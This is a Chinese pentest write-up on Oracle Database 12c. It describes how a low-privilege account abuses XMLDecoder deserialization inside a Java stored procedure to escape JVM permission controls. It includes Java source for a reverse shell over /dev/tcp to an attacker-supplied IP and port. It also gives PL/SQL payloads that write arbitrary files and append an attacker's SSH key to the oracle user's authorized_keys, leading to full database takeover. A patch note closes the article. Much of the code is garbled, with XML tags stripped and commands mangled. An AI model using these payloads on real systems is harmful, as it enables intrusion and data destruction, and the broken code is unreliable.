原标题:Oracle数据库安全思考之xml反序列化
No.1
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.2
前言
在测试过程中,碰到oracle数据库,只发现存在一个低权限用户dm,由于权限不足无法进一步获取关键数据,同时无法进一步获取系统权限。
主机场景:
运行服务器:centos 6.5数据库版本:Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production
低权限用户:TESTER
能够访问SQLPLUS终端,也可以使用PL/SQL工具连接。
XML反序列化
XML反序列化,可以描述一个Java Object,以及用来构建Object时所需要调用的方法和相关参数。在Oracle中,使用XMLDecoder类重新组装XML序列化后的对象,而在组装过程中所调用的对象方法,没有被Oracle JVM限制权限。因此,可以使用XML反序列化构建一个FileWriter对象,并调用其write方法,就可以实现文件写入操作。
No.3
Java存储过程
Oracle企业版在数据库中嵌入了Java虚拟机,Oracle数据库通过Java存储过程支持Java的本机执行,存储过程是发布到SQL并存储在数据库中以供一般使用的Java方法。调用存储过程
在互通性上面,Oracle数据库中的Java完全符合Java语言规范(JLS),并提供了通用的,面向对象的编程语言的所有优点。另外,与PL/SQL一样,Java提供对Oracle数据的完全访问权限。结果,任何用PL/SQL编写的过程也可以用Java编写。
No4
通过SQL终端查询java版本
create function get_java_property(prop in varchar2) return varchar2 is language java name 'java.name.System.getProperty(java.lang.String) return java.lang.String';
No.5
JVM的基本保护
SET scan off
create or replace and compile java source named ReverseShell asimport java.io.*;
public class ReverseShell{
public static void getConnection(String ip, String port) throws InterruptedException, IOException{
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","0/dev/tcp/" + ip + "/" + port + ";/bin/bash &126 2>&126"}); System.out.println(p.toString());
p.waitFor();
}
}/create or replace procedure reverse_shell (p_ip IN VARCHAR2,p_port IN VARCHAR2)
IS language java name 'ReverseShell.getConnection(java.lang.String, java.lang.String)';
由于Oracle JVM实现了基于细粒度策略的安全性来控制对OS和文件系统的访问,因此该方法将不起作用。从低权限帐户执行此过程会导致错误。
请注意,错误堆栈包含缺少权限和必要的命令才能授予访问权限ORA-29532:Java call terminated by uncaught Java exception
No.6
XML反序列化带来的问题
XML反序列化Java中存在XML序列化和反序列化功能,以支持使用标准化格式(在本例中为XML)的跨平台信息交换。为此,java.beans库包含两个类:XMLEncoder和XMLDecoder,它们用于将Java对象序列化为XML格式,并在以后反序列化该对象。
典型的反序列化漏洞依赖于接受和反序列化任意输入的服务的存在。但是,如果有权访问可以在用户架构中创建对象的低特权Oracle帐户(具有连接和资源的用户),则可以创建反序列化存储过程。例如:创建一个账号TESTER,只拥有CONNECT、RESOURCE权限。
创建了以下Java类“ DecodeMe”和一个调用该类的Java存储过程:
create or replace and compile java source named DecodeMe asimport java.io.*;import java.beans.*;public class DecodeMe{ public static void input(String xml) throws InterruptedException, IOException {
XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes())); Object object = decoder.readObject(); System.out.println(object.toString());
decoder.close();
}
}
;
/CREATE OR REPLACE PROCEDURE decodeme (p_xml IN VARCHAR2) IS
language java name 'DecodeMe.input(java.lang.String)';
/
该解码程序将接受XML编码的Java的任意字符串,并执行所提供的指令。可在此处找到有关序列化XML的正确格式的信息。该块将简单地调用println将数据输出到终端。
BEGIN
decodeme('<?xml version="1.0" encoding="UTF-8" ?> This is test output to the console');
END;
/
反序列化过程将会绕过JVM权限设置,并允许用户在OS上任意写入文件。请参见以下示例脚本:
BEGIN
decodeme('
/tmp/test.txt
True
test
');END;
/
执行上述脚本将在/tmp文件夹中创建一个名为“test.txt”的文件:
因此,通过反序列化,可以绕过内置的安全限制将任意文件写入文件系统。
事实证明,不仅可以将新文件写入系统,还可以覆盖或附加Oracle用户具有写许可权的任何文件。
显然,这会对数据库产生严重影响,因为攻击者可能会覆盖关键文件(包括控制文件),这可能会导致成功的拒绝服务攻击或数据损坏。
但是,通过精心设计的有效payload(pl/sql脚本),使用此反序列化攻击以Oracle用户的身份访问服务器。
假设SSH在服务器上打开并配置为接受RSA连接,则以下有效负载会将RSA令牌附加到管理数据库进程的Oracle帐户中。
开始认证密钥:
EGIN
decodeme('
/home/oracle/.ssh/authorized_keys
True
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCedKQPeoJ1UeJEW6ZVkiuWAxBKW8F4fc0VrWxR5HEgaAcVodhgc6X7klyOWrJceGqICcCZd6K+/lvI3xaE2scJpRZWlcJQNCoZMRfmlhibq9IWMH0dm5LqL3QMqrXzZ+a2dfNohSdSmLDTaFHkzOGKEQIwHCv/e4e/eKnm0fUWHeL0k4KuCn3MQUN1HwoqoCciR0DrBDOYAKHxqpBv9rDneCdvaS+tqlr5eShjNlHv1YzJGb0lZZlsny19is8CkhcZ6+O+UCKoBPrxaGsfipsEIH5aPu9xVA90Xgsakhg4yoy9FLnES+xmnVxKX5GHyixi3qeWGDwBsAvhAAGLxOc5
');END;
/
执行后,该代码会将任意RSA密钥附加到Oracle用户的authenticated_keys文件中,以Oracle用户的身份授予对SSH的攻击。
Oracle用户可以以SYS身份访问数据库,进而管理整个数据库。
No.7
修复意见
建议升级补丁版本:12.2.0.1.180717(p27923353_122010_Linux-x86-64.zip)返回搜狐,查看更多
责任编辑: